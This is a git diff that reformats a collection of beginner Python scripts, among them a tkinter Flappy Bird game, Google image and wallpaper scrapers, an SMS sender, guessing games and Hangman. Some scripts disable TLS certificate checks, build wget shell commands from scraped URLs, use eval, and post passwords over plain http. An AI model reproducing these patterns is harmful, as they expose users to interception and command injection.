background junto com as informações do jogador. """ @@ -183,20 +201,29 @@ def createScoreBoard(self): # Cria texto para mostrar o score do último jogo self.__background.create_text( - score_x, score_y, text="Score: %s" % self.__score, - fill=self.text_fill, font=font + score_x, + score_y, + text="Score: %s" % self.__score, + fill=self.text_fill, + font=font, ) # Cria texto para mostrar a melhor pontuação do jogador self.__background.create_text( - bestScore_x, bestScore_y, text="Best Score: %s" % self.__bestScore, - fill=self.text_fill, font=font + bestScore_x, + bestScore_y, + text="Best Score: %s" % self.__bestScore, + fill=self.text_fill, + font=font, ) # Cria texto para mostrar o tempo de jogo self.__background.create_text( - time_x, time_y, text="Time: %s" % self.__time, - fill=self.text_fill, font=font + time_x, + time_y, + text="Time: %s" % self.__time, + fill=self.text_fill, + font=font, ) def createTitleImage(self): @@ -204,12 +231,15 @@ def createTitleImage(self): Método para criar a imagem do título do jogo no background """ - self.__background.create_image(self.__width // 2, (self.__height // 100) * self.title_position_y, - image=self.__title_image) + self.__background.create_image( + self.__width // 2, + (self.__height // 100) * self.title_position_y, + image=self.__title_image, + ) def deleteMenuButtons(self): """ - Método para deletar os botões de menu + Método para deletar os botões de menu """ # Deleta cada botão criado dentro do background @@ -263,13 +293,19 @@ def init(self): # Cria o plano de fundo do jogo self.__background = Background( - self, self.__width, self.__height, fp=self.background_fp, animation_speed=self.__background_animation_speed + self, + self.__width, + self.__height, + fp=self.background_fp, + animation_speed=self.__background_animation_speed, ) # Foca o plano de fundo para que seja possível definir os eventos self.__background.focus_force() # Define evento para trocar o modo de janela para "fullscreen" ou "window" - self.__background.bind(self.window_fullscreen_event, self.changeFullscreenOption) + self.__background.bind( + self.window_fullscreen_event, self.changeFullscreenOption + ) # Define evento para começar o jogo self.__background.bind(self.window_start_event, self.start) # Define evento para sair do jogo @@ -289,8 +325,13 @@ def init(self): # Cria um pássaro inicial no jogo self.__bird = Bird( - self.__background, self.gameOver, self.__width, self.__height, - fp=self.bird_fp, event=self.bird_event, descend_speed=self.__bird_descend_speed + self.__background, + self.gameOver, + self.__width, + self.__height, + fp=self.bird_fp, + event=self.bird_event, + descend_speed=self.__bird_descend_speed, ) def loadScore(self): @@ -306,7 +347,7 @@ def loadScore(self): # Se não for possível, será criado um arquivo para guardar o placar except BaseException: - file = open(self.score_fp, 'w') + file = open(self.score_fp, "w") file.write(bin(self.__bestScore)) file.close() @@ -315,7 +356,7 @@ def saveScore(self): Método para salvar a pontuação do jogador """ - with open(self.score_fp, 'w') as file: + with open(self.score_fp, "w") as file: file.write(bin(self.__bestScore)) def start(self, event=None): @@ -324,7 +365,8 @@ def start(self, event=None): """ # Este método é executado somente se o jogador não estiver já jogando - if self.__playing: return + if self.__playing: + return # Reinicia o placar self.__score = 0 @@ -342,14 +384,24 @@ def start(self, event=None): # Cria um pássaro no jogo self.__bird = Bird( - self.__background, self.gameOver, self.__width, self.__height, - fp=self.bird_fp, event=self.bird_event, descend_speed=self.__bird_descend_speed + self.__background, + self.gameOver, + self.__width, + self.__height, + fp=self.bird_fp, + event=self.bird_event, + descend_speed=self.__bird_descend_speed, ) # Cria tubos no jogo self.__tubes = Tubes( - self.__background, self.__bird, self.increaseScore, self.__width, self.__height, - fp=self.tube_fp, animation_speed=self.__background_animation_speed + self.__background, + self.__bird, + self.increaseScore, + self.__width, + self.__height, + fp=self.tube_fp, + animation_speed=self.__background_animation_speed, ) # Inicializa a animação do pássaro e dos tubos diff --git a/Flappy Bird - created with tkinter/Settings.py b/Flappy Bird - created with tkinter/Settings.py index f91b15bc5c8..33eb2c1da6f 100644 --- a/Flappy Bird - created with tkinter/Settings.py +++ b/Flappy Bird - created with tkinter/Settings.py @@ -60,20 +60,28 @@ class Settings(object): background_animation = True # Junta todos os diretórios em uma lista - images_fp = [background_fp, bird_fp, startButton_fp, exitButton_fp, tube_fp[0], tube_fp[1], title_fp] + images_fp = [ + background_fp, + bird_fp, + startButton_fp, + exitButton_fp, + tube_fp[0], + tube_fp[1], + title_fp, + ] def setOptions(self): """ - Método para receber algumas configurações do jogo de um arquivo .json. + Método para receber algumas configurações do jogo de um arquivo .json. Caso o arquivo não exista, será criado um com as configurações padrões. """ # Alguns atributos que podem ser alterados - attributes = "window_fullscreen,window_width,window_height".split(',') + attributes = "window_fullscreen,window_width,window_height".split(",") # Tenta abrir o arquivo parar leitura try: - file = open(self.settings_fp, 'r') + file = open(self.settings_fp, "r") data = loads(file.read()) file.close() @@ -91,7 +99,7 @@ def setOptions(self): if not os.path.exists(os.path.split(self.settings_fp)[0]): os.mkdir(os.path.split(self.settings_fp)[0]) - file = open(self.settings_fp, 'w') + file = open(self.settings_fp, "w") data = dict() diff --git a/Flappy Bird - created with tkinter/Tubes.py b/Flappy Bird - created with tkinter/Tubes.py index 96623fba926..a6021f69ef5 100644 --- a/Flappy Bird - created with tkinter/Tubes.py +++ b/Flappy Bird - created with tkinter/Tubes.py @@ -16,16 +16,29 @@ class Tubes(Thread): __move = 10 __pastTubes = [] - def __init__(self, background, bird, score_function=None, *screen_geometry, fp=("tube.png", "tube_mourth"), - animation_speed=50): + def __init__( + self, + background, + bird, + score_function=None, + *screen_geometry, + fp=("tube.png", "tube_mourth"), + animation_speed=50 + ): # Verifica os parâmetros passados e lança um erro caso algo esteja incorreto - if not isinstance(background, Background): raise TypeError( - "The background argument must be an instance of Background.") - if not len(fp) == 2: raise TypeError( - "The parameter fp should be a sequence containing the path of the images of the tube body and the tube mouth.") - if not isinstance(bird, Bird): raise TypeError("The birdargument must be an instance of Bird.") - if not callable(score_function): raise TypeError("The score_function argument must be a callable object.") + if not isinstance(background, Background): + raise TypeError( + "The background argument must be an instance of Background." + ) + if not len(fp) == 2: + raise TypeError( + "The parameter fp should be a sequence containing the path of the images of the tube body and the tube mouth." + ) + if not isinstance(bird, Bird): + raise TypeError("The birdargument must be an instance of Bird.") + if not callable(score_function): + raise TypeError("The score_function argument must be a callable object.") Thread.__init__(self) @@ -62,7 +75,8 @@ def __init__(self, background, bird, score_function=None, *screen_geometry, fp=( image_path=self.image_path[1], width=self.__imageWidth, height=self.__imageHeight, - closeAfter=True)[0] + closeAfter=True, + )[0] ) # Carrega imagem do corpo do tubo @@ -70,7 +84,8 @@ def __init__(self, background, bird, score_function=None, *screen_geometry, fp=( self.getPhotoImage( image_path=self.image_path[0], width=self.__imageWidth, - height=self.__imageHeight)[1] + height=self.__imageHeight, + )[1] ) # Calcula a distância mínima inicial entre os tubos @@ -93,21 +108,38 @@ def createNewTubes(self): # Define uma posição Y para o tubo aleatóriamente respeitando algumas regras que são: # Espaço para o pássaro passar e espaço para adicionar o tubo de baixo. - height = randint(self.__imageHeight // 2, self.__height - (self.__bird_h * 2) - self.__imageHeight) + height = randint( + self.__imageHeight // 2, + self.__height - (self.__bird_h * 2) - self.__imageHeight, + ) # Cria e adiciona à lista do corpo do tubo de cima, a boca do tubo - tube1.append(self.__background.create_image(width, height, image=self.__background.tubeImages[1])) + tube1.append( + self.__background.create_image( + width, height, image=self.__background.tubeImages[1] + ) + ) # Cria uma nova imagem na lista de imagens com a altura sendo igual a posição Y do tubo de cima self.__background.tubeImages[0].append( - [self.getPhotoImage(image=self.__background.tubeImages[2], width=self.__imageWidth, height=height)[0], ] + [ + self.getPhotoImage( + image=self.__background.tubeImages[2], + width=self.__imageWidth, + height=height, + )[0], + ] ) # Define a posição Y do corpo do tubo de cima y = (height // 2) + 1 - (self.__imageHeight // 2) # Cria e adiciona à lista do corpo do tubo de cima, o corpo do tubo - tube1.append(self.__background.create_image(width, y, image=self.__background.tubeImages[0][-1][0])) + tube1.append( + self.__background.create_image( + width, y, image=self.__background.tubeImages[0][-1][0] + ) + ) ############################################################################################################### ############################################################################################################### @@ -119,21 +151,33 @@ def createNewTubes(self): height = height + (self.__bird_h * 2) + self.__imageHeight - 1 # Cria e adiciona à lista do corpo do tubo de baixo, a boca do tubo - tube2.append(self.__background.create_image(width, height, image=self.__background.tubeImages[1])) + tube2.append( + self.__background.create_image( + width, height, image=self.__background.tubeImages[1] + ) + ) # Define a altura da imagem do corpo do tubo de baixo height = self.__height - height # Cria uma nova imagem na lista de imagens com a altura sendo igual a posição Y do tubo de baixo self.__background.tubeImages[0][-1].append( - self.getPhotoImage(image=self.__background.tubeImages[2], width=self.__imageWidth, height=height)[0] + self.getPhotoImage( + image=self.__background.tubeImages[2], + width=self.__imageWidth, + height=height, + )[0] ) # Define a posição Y do corpo do tubo de baixo y = (self.__height - (height // 2)) + self.__imageHeight // 2 # Cria e adiciona à lista do corpo do tubo de baixo, o corpo do tubo - tube2.append(self.__background.create_image(width, y, image=self.__background.tubeImages[0][-1][1])) + tube2.append( + self.__background.create_image( + width, y, image=self.__background.tubeImages[0][-1][1] + ) + ) # Adiciona à lista de tubos os tubos de cima e de baixo da posição X self.__tubes.append([tube1, tube2]) @@ -156,9 +200,11 @@ def deleteAll(self): self.__background.tubeImages.clear() @staticmethod - def getPhotoImage(image=None, image_path=None, width=None, height=None, closeAfter=False): + def getPhotoImage( + image=None, image_path=None, width=None, height=None, closeAfter=False + ): """ - Retorna um objeto da classe PIL.ImageTk.PhotoImage de uma imagem e as imagens criadas de PIL.Image + Retorna um objeto da classe PIL.ImageTk.PhotoImage de uma imagem e as imagens criadas de PIL.Image (photoImage, new, original) @param image: Instância de PIL.Image.open @@ -169,14 +215,17 @@ def getPhotoImage(image=None, image_path=None, width=None, height=None, closeAft """ if not image: - if not image_path: return + if not image_path: + return # Abre a imagem utilizando o caminho dela image = openImage(image_path) # Será redimesionada a imagem somente se existir um width ou height - if not width: width = image.width - if not height: height = image.height + if not width: + width = image.width + if not height: + height = image.height # Cria uma nova imagem já redimensionada newImage = image.resize([width, height]) @@ -238,12 +287,16 @@ def run(self): """ # Se o método "stop" tiver sido chamado, a animação será encerrada - if self.__stop: return + if self.__stop: + return # Se os tubos ( cima e baixo ) de uma posição X tiverem sumido da área do background, # eles serão apagados juntamente com suas imagens e todos os seus dados. - if len(self.__tubes) >= 1 and self.__background.bbox(self.__tubes[0][0][0])[2] <= 0: + if ( + len(self.__tubes) >= 1 + and self.__background.bbox(self.__tubes[0][0][0])[2] <= 0 + ): # Apaga todo o corpo do tubo dentro do background for tube in self.__tubes[0]: diff --git a/Google_Image_Downloader/create_dir.py b/Google_Image_Downloader/create_dir.py index e03ee49fefd..0734f836802 100644 --- a/Google_Image_Downloader/create_dir.py +++ b/Google_Image_Downloader/create_dir.py @@ -23,7 +23,7 @@ # Creates a directory def create_directory(name): if exists(pardir + "\\" + name): - print('Folder already exists... Cannot Overwrite this') + print("Folder already exists... Cannot Overwrite this") else: makedirs(pardir + "\\" + name) @@ -45,15 +45,15 @@ def set_working_directory(): # Backup the folder tree def backup_files(name_dir, folder): - copytree(pardir, name_dir + ':\\' + folder) + copytree(pardir, name_dir + ":\\" + folder) # Move folder to specific location # Overwrites the file if it already exists def move_folder(filename, name_dir, folder): if not exists(name_dir + ":\\" + folder): - makedirs(name_dir + ':\\' + folder) - move(filename, name_dir + ":\\" + folder + '\\') + makedirs(name_dir + ":\\" + folder) + move(filename, name_dir + ":\\" + folder + "\\") """ diff --git a/Google_Image_Downloader/image_grapper.py b/Google_Image_Downloader/image_grapper.py index a890701c249..a922894a8d0 100644 --- a/Google_Image_Downloader/image_grapper.py +++ b/Google_Image_Downloader/image_grapper.py @@ -1,6 +1,6 @@ #!/usr/bin/python # -*- coding: utf-8 -*- -#importing required libraries +# importing required libraries import json from os import chdir, system from os import walk @@ -17,52 +17,53 @@ ssl._create_default_https_context = ssl._create_unverified_context -GOOGLE_IMAGE = \ - 'https://www.google.com/search?site=&tbm=isch&source=hp&biw=1873&bih=990&' -WALLPAPERS_KRAFT = 'https://wallpaperscraft.com/search/keywords?' +GOOGLE_IMAGE = ( + "https://www.google.com/search?site=&tbm=isch&source=hp&biw=1873&bih=990&" +) +WALLPAPERS_KRAFT = "https://wallpaperscraft.com/search/keywords?" usr_agent = { - 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', - 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3', - 'Accept-Encoding': 'none', - 'Accept-Language': 'en-US,en;q=0.8', - 'Connection': 'keep-alive', + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3", + "Accept-Encoding": "none", + "Accept-Language": "en-US,en;q=0.8", + "Connection": "keep-alive", } FX = { - 1: 'search_for_image', - 2: 'download_wallpapers_1080p', - 3: 'view_images_directory', - 4: 'set_directory', - 5: 'quit', + 1: "search_for_image", + 2: "download_wallpapers_1080p", + 3: "view_images_directory", + 4: "set_directory", + 5: "quit", } # Download images from google images + def search_for_image(): - print('Enter data to download Images: ') + print("Enter data to download Images: ") data = input() - search_query = {'q': data} + search_query = {"q": data} search = urlencode(search_query) print(search) g = GOOGLE_IMAGE + search request = Request(g, headers=usr_agent) r = urlopen(request).read() - sew = BeautifulSoup(r, 'html.parser') + sew = BeautifulSoup(r, "html.parser") images = [] # print(sew.prettify()) - results = sew.findAll('div', {'class': 'rg_meta'}) + results = sew.findAll("div", {"class": "rg_meta"}) for re in results: - (link, Type) = (json.loads(re.text)['ou'], - json.loads(re.text)['ity']) + (link, Type) = (json.loads(re.text)["ou"], json.loads(re.text)["ity"]) images.append(link) counter = 0 for re in images: rs = requests.get(re) - with open('img' + str(counter) + '.jpg', 'wb') as file: + with open("img" + str(counter) + ".jpg", "wb") as file: file.write(rs.content) # urlretrieve(re, 'img' + str(count) + '.jpg') @@ -75,31 +76,32 @@ def download_wallpapers_1080p(): cont = set() # Stores the links of images temp = set() # Refines the links to download images - print('Enter data to download wallpapers: ') + print("Enter data to download wallpapers: ") data = input() - search_query = {'q': data} + search_query = {"q": data} search = urlencode(search_query) print(search) g = WALLPAPERS_KRAFT + search request = Request(g, headers=usr_agent) r = urlopen(request).read() - sew = BeautifulSoup(r, 'html.parser') + sew = BeautifulSoup(r, "html.parser") count = 0 - for links in sew.find_all('a'): - if 'wallpaperscraft.com/download' in links.get('href'): - cont.add(links.get('href')) + for links in sew.find_all("a"): + if "wallpaperscraft.com/download" in links.get("href"): + cont.add(links.get("href")) for re in cont: # print all valid links # print('https://wallpaperscraft.com/image/' + re[31:-10] + '_' + re[-9:] + '.jpg') - temp.add('https://wallpaperscraft.com/image/' + re[31:-10] + '_' - + re[-9:] + '.jpg') + temp.add( + "https://wallpaperscraft.com/image/" + re[31:-10] + "_" + re[-9:] + ".jpg" + ) # Goes to Each link and downloads high resolution images for re in temp: rs = requests.get(re) - with open('img' + str(count) + '.jpg', 'wb') as file: + with open("img" + str(count) + ".jpg", "wb") as file: file.write(rs.content) # urlretrieve(re, 'img' + str(count) + '.jpg') @@ -119,10 +121,10 @@ def view_images_directory(): ############# def set_directory(): - print('Enter the directory to be set: ') + print("Enter the directory to be set: ") data = input() - chdir(data + ':\\') - print('Enter name for the folder: ') + chdir(data + ":\\") + print("Enter name for the folder: ") data = input() create_directory(data) return True @@ -130,24 +132,29 @@ def set_directory(): ############## def quit(): - print(''' + print( + """ -------------------------***Thank You For Using***------------------------- - ''') + """ + ) return False run = True -print(''' +print( + """ ***********[First Creating Folder To Save Your Images}*********** - ''') + """ +) -create_directory('Images') -DEFAULT_DIRECTORY = pardir + '\\Images' +create_directory("Images") +DEFAULT_DIRECTORY = pardir + "\\Images" chdir(DEFAULT_DIRECTORY) count = 0 while run: - print(''' + print( + """ -------------------------WELCOME------------------------- 1. Search for image 2. Download Wallpapers 1080p @@ -155,18 +162,19 @@ def quit(): 4. Set directory 5. Exit -------------------------*******------------------------- - ''') + """ + ) choice = input() try: # Via eval() let `str expression` to `function` fx = eval(FX[int(choice)]) run = fx() except KeyError: - system('clear') + system("clear") if count <= 5: count += 1 print("----------enter proper key-------------") else: - system('clear') + system("clear") print("You have attempted 5 times , try again later") run = False diff --git a/Google_News.py b/Google_News.py index 84eebad5324..c63ffacaaab 100644 --- a/Google_News.py +++ b/Google_News.py @@ -3,10 +3,11 @@ from bs4 import BeautifulSoup as soup -def news(xml_news_url,counter): - '''Print select details from a html response containing xml - @param xml_news_url: url to parse - ''' + +def news(xml_news_url, counter): + """Print select details from a html response containing xml + @param xml_news_url: url to parse + """ context = ssl._create_unverified_context() Client = urlopen(xml_news_url, context=context) @@ -19,19 +20,20 @@ def news(xml_news_url,counter): i = 0 # counter to print n number of news items for news in news_list: - print(f'news title: {news.title.text}') # to print title of the news - print(f'news link: {news.link.text}') # to print link of the news - print(f'news pubDate: {news.pubDate.text}') # to print published date + print(f"news title: {news.title.text}") # to print title of the news + print(f"news link: {news.link.text}") # to print link of the news + print(f"news pubDate: {news.pubDate.text}") # to print published date print("+-" * 20, "\n\n") - - if i == counter : - break + + if i == counter: + break i = i + 1 + # you can add google news 'xml' URL here for any country/category news_url = "https://news.google.com/news/rss/?ned=us&gl=US&hl=en" sports_url = "https://news.google.com/news/rss/headlines/section/topic/SPORTS.en_in/Sports?ned=in&hl=en-IN&gl=IN" # now call news function with any of these url or BOTH -news(news_url,10) -news(sports_url,5) +news(news_url, 10) +news(sports_url, 5) diff --git a/Gregorian_Calendar.py b/Gregorian_Calendar.py index 84328c80257..64c7d2a1a27 100644 --- a/Gregorian_Calendar.py +++ b/Gregorian_Calendar.py @@ -7,17 +7,19 @@ # The year is also evenly divisible by 400. Then it is a leap year. # This means that in the Gregorian calendar, the years 2000 and 2400 are leap years, while 1800, 1900, 2100, 2200, 2300 and 2500 are NOT leap years. + def is_leap(year): leap = False - if (year%4 == 0): + if year % 4 == 0: leap = True - if (year%100 == 0): + if year % 100 == 0: leap = False - if (year%400 == 0): + if year % 400 == 0: leap = True return leap + year = int(input("Enter the year here: ")) print(is_leap(year)) -# If the given year is a leap year it outputs True else False \ No newline at end of file +# If the given year is a leap year it outputs True else False diff --git a/GroupSms_Way2.py b/GroupSms_Way2.py index 6e05d7dcfb8..04f9f562249 100644 --- a/GroupSms_Way2.py +++ b/GroupSms_Way2.py @@ -11,26 +11,30 @@ except NameError: pass -username = input('Enter mobile number:') +username = input("Enter mobile number:") passwd = getpass() -message = input('Enter Message:') +message = input("Enter Message:") # Fill the list with Recipients -x = input('Enter Mobile numbers seperated with comma:') -num = x.split(',') -message = "+".join(message.split(' ')) +x = input("Enter Mobile numbers seperated with comma:") +num = x.split(",") +message = "+".join(message.split(" ")) # Logging into the SMS Site -url = 'http://site24.way2sms.com/Login1.action?' -data = 'username={0}&password={1}&Submit=Sign+in'.format(username, passwd) +url = "http://site24.way2sms.com/Login1.action?" +data = "username={0}&password={1}&Submit=Sign+in".format(username, passwd) # For Cookies: cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) # Adding Header detail: -opener.addheaders = [('User-Agent', - 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 ' - 'Safari/537.36')] +opener.addheaders = [ + ( + "User-Agent", + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 " + "Safari/537.36", + ) +] try: usock = opener.open(url, data) @@ -38,14 +42,20 @@ print("Error while logging in.") sys.exit(1) -jession_id = str(cj).split('~')[1].split(' ')[0] -send_sms_url = 'http://site24.way2sms.com/smstoss.action?' +jession_id = str(cj).split("~")[1].split(" ")[0] +send_sms_url = "http://site24.way2sms.com/smstoss.action?" -opener.addheaders = [('Referer', 'http://site25.way2sms.com/sendSMS?Token=%s' % jession_id)] +opener.addheaders = [ + ("Referer", "http://site25.way2sms.com/sendSMS?Token=%s" % jession_id) +] try: for number in num: - send_sms_data = 'ssaction=ss&Token={0}&mobile={1}&message={2}&msgLen=136'.format(jession_id, number, message) + send_sms_data = ( + "ssaction=ss&Token={0}&mobile={1}&message={2}&msgLen=136".format( + jession_id, number, message + ) + ) sms_sent_page = opener.open(send_sms_url, send_sms_data) except IOError: print("Error while sending message") diff --git a/Guess_the_number_game.py b/Guess_the_number_game.py index 6ee25b19297..c045faa3c7b 100644 --- a/Guess_the_number_game.py +++ b/Guess_the_number_game.py @@ -4,6 +4,7 @@ import simplegui + def new_game(): global num print("new game starts") diff --git a/Guessing_Game.py b/Guessing_Game.py index 728f3abc582..aaeb895384b 100644 --- a/Guessing_Game.py +++ b/Guessing_Game.py @@ -1,91 +1,95 @@ from random import randint from time import sleep + def guessing_game(GUESS_RANGE, GUESS_LIMIT): # Set the initial values. RANDOM = randint(1, GUESS_RANGE) - GUESS = int(input('What is your guess? ')) + GUESS = int(input("What is your guess? ")) ATTEMPTS_ALLOWED = GUESS_LIMIT done = False - + # Validate the inputted guess. GUESS = InputValidation(GUESS, GUESS_RANGE) # Now we have a valid guess. while GUESS_LIMIT > 0 and not done: - GUESS_LIMIT -= 1 # Take one guess = lose one chance + GUESS_LIMIT -= 1 # Take one guess = lose one chance if GUESS_LIMIT > 0: if GUESS < RANDOM: - print(f'It should be higher than {GUESS}.') + print(f"It should be higher than {GUESS}.") elif GUESS > RANDOM: - print(f'It should be lower than {GUESS}.') + print(f"It should be lower than {GUESS}.") else: ATTEMPTS_TOOK = ATTEMPTS_ALLOWED - GUESS_LIMIT - print(f'You nailed it! And it only took you {ATTEMPTS_TOOK} attempts.') + print(f"You nailed it! And it only took you {ATTEMPTS_TOOK} attempts.") done = True if GUESS_LIMIT > 0 and not done: - print(f'You still have {GUESS_LIMIT} chances left.\n') - GUESS = int(input('Try a new guess: ')) + print(f"You still have {GUESS_LIMIT} chances left.\n") + GUESS = int(input("Try a new guess: ")) # Another input validation loop. GUESS = InputValidation(GUESS, GUESS_RANGE) - elif GUESS_LIMIT == 0 and not done: # Last chance to guess - if GUESS == RANDOM: - print(f'You nailed it! However, it took you all the {ATTEMPTS_ALLOWED} attempts.') + elif GUESS_LIMIT == 0 and not done: # Last chance to guess + if GUESS == RANDOM: + print( + f"You nailed it! However, it took you all the {ATTEMPTS_ALLOWED} attempts." + ) else: print( - f'GAME OVER! It took you more than {ATTEMPTS_ALLOWED} attempts. ' - f'The correct number is {RANDOM}.' + f"GAME OVER! It took you more than {ATTEMPTS_ALLOWED} attempts. " + f"The correct number is {RANDOM}." ) def InputValidation(GUESS, GUESS_RANGE): while not 1 <= GUESS <= GUESS_RANGE: - print('TRY AGAIN! Your guess is out of range!\n') - GUESS = int(input('What is your guess? ')) + print("TRY AGAIN! Your guess is out of range!\n") + GUESS = int(input("What is your guess? ")) return GUESS def easy(): - print('You are to guess a number between 1 and 10 in no more than 6 attempts.') + print("You are to guess a number between 1 and 10 in no more than 6 attempts.") guessing_game(10, 6) def medium(): - print('You are to guess a number between 1 and 20 in no more than 4 attempts.') + print("You are to guess a number between 1 and 20 in no more than 4 attempts.") guessing_game(20, 4) def hard(): - print('You are to guess a number between 1 and 50 in no more than 3 attempts.') + print("You are to guess a number between 1 and 50 in no more than 3 attempts.") guessing_game(50, 3) def try_again(): print() - again = input('Do you want to play again? (yes/no) ') - if again.lower() in ['y', 'yes']: + again = input("Do you want to play again? (yes/no) ") + if again.lower() in ["y", "yes"]: welcome() - elif again.lower() in ['n', 'no']: - print('Thanks for playing the game') + elif again.lower() in ["n", "no"]: + print("Thanks for playing the game") else: - print('INVALID VALUE') + print("INVALID VALUE") try_again() - + def welcome(): - print('Hello, Welcome to the Guessing Game!') - name = input('I\'m Geek! What\'s Your Name? ') + print("Hello, Welcome to the Guessing Game!") + name = input("I'm Geek! What's Your Name? ") sleep(1) - - print(f'Okay, {name}. Let\'s Begin The Guessing Game!') - print('Choose a level:', - '1. Easy', - '2. Medium', - '3. Hard', - sep = '\n', + + print(f"Okay, {name}. Let's Begin The Guessing Game!") + print( + "Choose a level:", + "1. Easy", + "2. Medium", + "3. Hard", + sep="\n", ) sleep(1) - level = int(input('Pick a number: ')) + level = int(input("Pick a number: ")) print() sleep(1) if level == 1: @@ -98,7 +102,7 @@ def welcome(): hard() try_again() else: - print('INVALID VALUE! Please try again.\n') + print("INVALID VALUE! Please try again.\n") welcome() diff --git a/Hangman.py b/Hangman.py index a3f3b769475..27b82db2c4a 100644 --- a/Hangman.py +++ b/Hangman.py @@ -1,100 +1,101 @@ -#importing the time module +# importing the time module import time -#importing the random module + +# importing the random module import random -#welcoming the user +# welcoming the user name = input("What is your name? ") -print ("\nHello, " + name+ "\nTime to play hangman!\n") +print("\nHello, " + name + "\nTime to play hangman!\n") -#wait for 1 second +# wait for 1 second time.sleep(1) -print ("Start guessing...\nHint:It is a fruit") +print("Start guessing...\nHint:It is a fruit") time.sleep(0.5) -someWords = '''apple banana mango strawberry +someWords = """apple banana mango strawberry orange grape pineapple apricot lemon coconut watermelon -cherry papaya berry peach lychee muskmelon''' - -someWords = someWords.split(' ') -# randomly choose a secret word from our "someWords" LIST. +cherry papaya berry peach lychee muskmelon""" + +someWords = someWords.split(" ") +# randomly choose a secret word from our "someWords" LIST. word = random.choice(someWords) -#creates an variable with an empty value -guesses = '' +# creates an variable with an empty value +guesses = "" -#determine the number of turns +# determine the number of turns turns = 5 # Create a while loop -#check if the turns are more than zero -while turns > 0: +# check if the turns are more than zero +while turns > 0: # make a counter that starts with zero - failed = 0 + failed = 0 + + # for every character in secret_word + for char in word: - # for every character in secret_word - for char in word: + # see if the character is in the players guess + if char in guesses: - # see if the character is in the players guess - if char in guesses: - - # print then out the character - print (char, end = ' ') + # print then out the character + print(char, end=" ") else: - - # if not found, print a dash - print ("_", end = ' ') - - # and increase the failed counter with one - failed += 1 + + # if not found, print a dash + print("_", end=" ") + + # and increase the failed counter with one + failed += 1 # if failed is equal to zero # print You Won - if failed == 0: - print ("\nYou won") + if failed == 0: + print("\nYou won") - # exit the script - break + # exit the script + break print # ask the user go guess a character - guess = input("\nGuess a character:") - - # Validation of the guess - if not guess.isalpha(): - print('Enter only a LETTER') + guess = input("\nGuess a character:") + + # Validation of the guess + if not guess.isalpha(): + print("Enter only a LETTER") continue - elif len(guess) > 1: - print('Enter only a SINGLE letter') + elif len(guess) > 1: + print("Enter only a SINGLE letter") continue - elif guess in guesses: - print('You have already guessed that letter') + elif guess in guesses: + print("You have already guessed that letter") continue # set the players guess to guesses - guesses += guess + guesses += guess # if the guess is not found in the secret word - if guess not in word: - - # turns counter decreases with 1 (now 9) - turns -= 1 - - # print wrong - print ("\nWrong") - - # how many turns are left - print ("You have", + turns, 'more guesses\n') - - # if the turns are equal to zero - if turns == 0: - - # print "You Loose" - print ("\nYou Loose") + if guess not in word: + + # turns counter decreases with 1 (now 9) + turns -= 1 + + # print wrong + print("\nWrong") + + # how many turns are left + print("You have", +turns, "more guesses\n") + + # if the turns are equal to zero + if turns == 0: + + # print "You Loose" + print("\nYou Loose") diff --git a/ImageDownloader/img_downloader.py b/ImageDownloader/img_downloader.py index 6d29ee99422..70fea5fced6 100644 --- a/ImageDownloader/img_downloader.py +++ b/ImageDownloader/img_downloader.py @@ -1,5 +1,6 @@ # ImageDownloader - Muhammed Shokr its amazing + def ImageDownloader(url): import os, re, requests @@ -11,9 +12,12 @@ def ImageDownloader(url): for i in img_addrs: os.system("wget {}".format(i)) - - return 'DONE' + + return "DONE" + # USAGE # Change the URL from where you have to download the image -ImageDownloader("https://www.123rf.com/stock-photo/spring_color.html?oriSearch=spring&ch=spring&sti=oazo8ueuz074cdpc48|") +ImageDownloader( + "https://www.123rf.com/stock-photo/spring_color.html?oriSearch=spring&ch=spring&sti=oazo8ueuz074cdpc48|" +) diff --git a/Infix_to_Postfix.py b/Infix_to_Postfix.py index f97d575a658..bdffa82e63c 100644 --- a/Infix_to_Postfix.py +++ b/Infix_to_Postfix.py @@ -1,6 +1,6 @@ -# Python program to convert infix expression to postfix +# Python program to convert infix expression to postfix -# Class to convert the expression +# Class to convert the expression class Conversion: # Constructor to initialize the class variables @@ -11,7 +11,7 @@ def __init__(self, capacity): self.array = [] # Precedence setting self.output = [] - self.precedence = {'+': 1, '-': 1, '*': 2, '/': 2, '^': 3} + self.precedence = {"+": 1, "-": 1, "*": 2, "/": 2, "^": 3} # check if the stack is empty def isEmpty(self): @@ -61,23 +61,23 @@ def infixToPostfix(self, exp): self.output.append(i) # If the character is an '(', push it to stack - elif i == '(': + elif i == "(": self.push(i) # If the scanned character is an ')', pop and # output from the stack until and '(' is found - elif i == ')': - while ((not self.isEmpty()) and self.peek() != '('): + elif i == ")": + while (not self.isEmpty()) and self.peek() != "(": a = self.pop() self.output.append(a) - if (not self.isEmpty() and self.peek() != '('): + if not self.isEmpty() and self.peek() != "(": return -1 else: self.pop() # An operator is encountered else: - while (not self.isEmpty() and self.notGreater(i)): + while not self.isEmpty() and self.notGreater(i): self.output.append(self.pop()) self.push(i) diff --git a/Insert_operation_on_Linked_List.py b/Insert_operation_on_Linked_List.py index c3e6b72f7c4..279df9296d3 100644 --- a/Insert_operation_on_Linked_List.py +++ b/Insert_operation_on_Linked_List.py @@ -26,13 +26,13 @@ def Insert_At_End(self, new_data): self.head = new_node return current = self.head - while(current.next): + while current.next: current = current.next current.next = new_node def Display(self): temp = self.head - while(temp): + while temp: print(temp.data, "->", end=" ") temp = temp.next print("None") @@ -53,4 +53,4 @@ def Display(self): L_list.Insert_At_End(6) L_list.Display() L_list.Insert_After(L_list.head.next, 10) - L_list.Display() \ No newline at end of file + L_list.Display() diff --git a/JsonParser.py b/JsonParser.py index 00d963a88fa..9448e21e6a7 100644 